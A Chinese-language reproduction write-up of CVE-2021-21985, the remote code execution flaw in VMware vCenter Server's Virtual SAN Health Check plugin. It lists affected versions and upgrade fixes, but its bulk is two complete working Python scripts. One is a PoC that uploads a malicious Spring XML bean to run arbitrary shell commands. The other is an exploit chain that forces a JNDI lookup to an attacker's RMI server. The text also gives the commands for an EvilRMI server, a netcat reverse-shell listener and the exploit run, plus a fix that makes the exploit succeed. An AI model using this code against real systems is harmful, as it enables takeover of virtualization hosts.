0x00 简介
vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。
0x01 漏洞概述
该漏洞由于vCenter Server默认启用
的插件Virtual SAN Health Check
缺少输入验证导致的。能通过443端口访问到vSphere Client(HTML5)的攻击者,可以构造特殊的请求包在目标机器上执行任意代码。
0x02 影响版本
VMware:vCenter Server
:
- 非7.0 U2b版本的7.0版本
- 非6.7 U3n版本的6.7版本
- 非6.5 U3p版本的6.5版
VMware:Cloud Foundation
:
- 低于4.2.1版本的4.x版本
- 低于3.10.2.1版本的3.x版本
0x03 漏洞利用
环境搭建可参考https://blog.csdn.net/z136370204/article/details/111719373,此文不表。
1、首先使用POC执行whoami来测试是否存在该漏洞。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import base64
import sys
import zipfile
from urllib.parse import urlparse
import zlib
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}
def banner():
print("""
==============================================================
_____ _ _____ _____ ______
/ ____| | | | __ \ / ____| ____|
__ _| | ___ _ __ | |_ ___ _ __ | |__) | | | |__
\ \ / / | / _ \ '_ \| __/ _ \ '__| | _ /| | | __|
\ V /| |___| __/ | | | || __/ | | | \ \| |____| |____
\_/ \_____\___|_| |_|\__\___|_| |_| \_\\_____|______|
Powered by r0cky Team ZionLab
==============================================================
""")
def create_xml():
print("[*] Create Xml to offline_bundle.xml ...")
context = """<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ {cmd} 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>
""".replace("{cmd}", cmd)
with open('offline_bundle.xml', 'w') as wf:
wf.write(context)
wf.flush()
def create_zip():
print("[*] Create Zip to offline_bundle.zip ...")
with zipfile.ZipFile('offline_bundle.zip', 'w', zipfile.ZIP_DEFLATED) as zp:
zp.write('offline_bundle.xml')
def toBase64():
with open('offline_bundle.zip', 'rb') as rf:
return base64.b64encode(rf.read())
def poc1(url):
ssrf_str = "https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,{}%23"
ssrf = ssrf_str.format(bytes.decode(toBase64()))
print ("[*] Get XML to SystemProperties ...")
target = url + "/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages"
data = {"methodInput":[[ssrf]]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
def poc2(url):
print("[*] getProperty ...")
target = url + "/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty"
data = {"methodInput": ["output", None]}
r = requests.post(target, data=json.dumps(data), headers=headers,
verify=False, proxies=proxies)
if "result" in r.json():
print("[+] Command:", cmd)
print(r.json()['result'])
else:
print ("[-] send payload failed.")
headers = {"Content-Type": "application/json"}
def main(url):
try:
create_xml()
create_zip()
poc1(url)
poc2(url)
except:
print("[-] send payload failed.")
if __name__ == '__main__':
banner()
try:
target = sys.argv[1]
cmd = sys.argv[2]
up = urlparse(target)
target = up.scheme + "://" + up.netloc
main(target)
except:
print("Example: \n\tpython3 " + sys.argv[0] + " <target> <cmd>\n")
该POC创建了一个恶意xml文件,打包成zip,并base64后通过特定格式发送,返回包含result字段,及证明存在该漏洞。
2、使用EXP反弹Shell
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import sys
from urllib.parse import urlparse
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}
def banner():
print("""
==============================================================
_____ _ _____ _____ ______
/ ____| | | | __ \ / ____| ____|
__ _| | ___ _ __ | |_ ___ _ __ | |__) | | | |__
\ \ / / | / _ \ '_ \| __/ _ \ '__| | _ /| | | __|
\ V /| |___| __/ | | | || __/ | | | \ \| |____| |____
\_/ \_____\___|_| |_|\__\___|_| |_| \_\\_____|______|
Powered by r0cky Team ZionLab
==============================================================
""")
def payload1(url):
print ("[*] Step 1 setTargetObject to null ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject"
data = {"methodInput":[None]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload2(url)
else:
print ("[-] send payload failed1.")
def payload2(url):
print("[*] Step 2 setStaticMethod to payload ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod"
data = {"methodInput": ["javax.naming.InitialContext.doLookup"]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload3(url)
else:
print ("[-] send payload failed2.")
def payload3(url):
print("[*] Step 3 setTargetMethod to doLookup ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod"
data = {"methodInput": ["doLookup"]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload4(url)
else:
print ("[-] send payload failed3.")
def payload4(url):
print("[*] Step 4 setArguments with payload args ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments"
data = {"methodInput": [[rmi_class]]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload5(url)
else:
print ("[-] send payload failed4.")
def payload5(url):
print("[*] Step 5 initial payload class and methods ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare"
data = {"methodInput": []}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
if "result" in r.json():
payload6(url)
else:
print ("[-] send payload failed5.")
def payload6(url):
print("[*] Step 6 trigger method invoke ...")
target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke"
data = {"methodInput": []}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
print("[+] send payload success.")
print()
print("[END] VMWare vCenter RCE Done.")
headers = {"Content-Type": "application/json"}
if __name__ == '__main__':
banner()
try:
target = sys.argv[1]
rmi_class = sys.argv[2]
up = urlparse(target)
target = up.scheme + "://" + up.netloc
payload1(target)
except:
print("Example: \n\tpython3 " + sys.argv[
0] + " <target> <rmi://ip/class>\n")
首先需要启动RMI,
java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMI x.x.x.x
然后开启reverse shell监听
nc -lvnp 5555
最后执行EXP
python3 CVE-2021-21985_exp.py https://vulip:port rmi://attip:1097/ExecByEL
复现中发现该EXP的payload5和payload6函数中的None要删掉,不然会失败。
0x04 修复方式
VMware:vCenter Server
:
- 7.0版本升级到7.0 U2b
- 6.7版本升级到6.7 U3n
- 6.5版本升级到6.5 U3p
VMware:Cloud Foundation
:
- 4.x版本升级到4.2.1
- 3.x版本升级到3.10.2.1
官方公告:
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
Referer: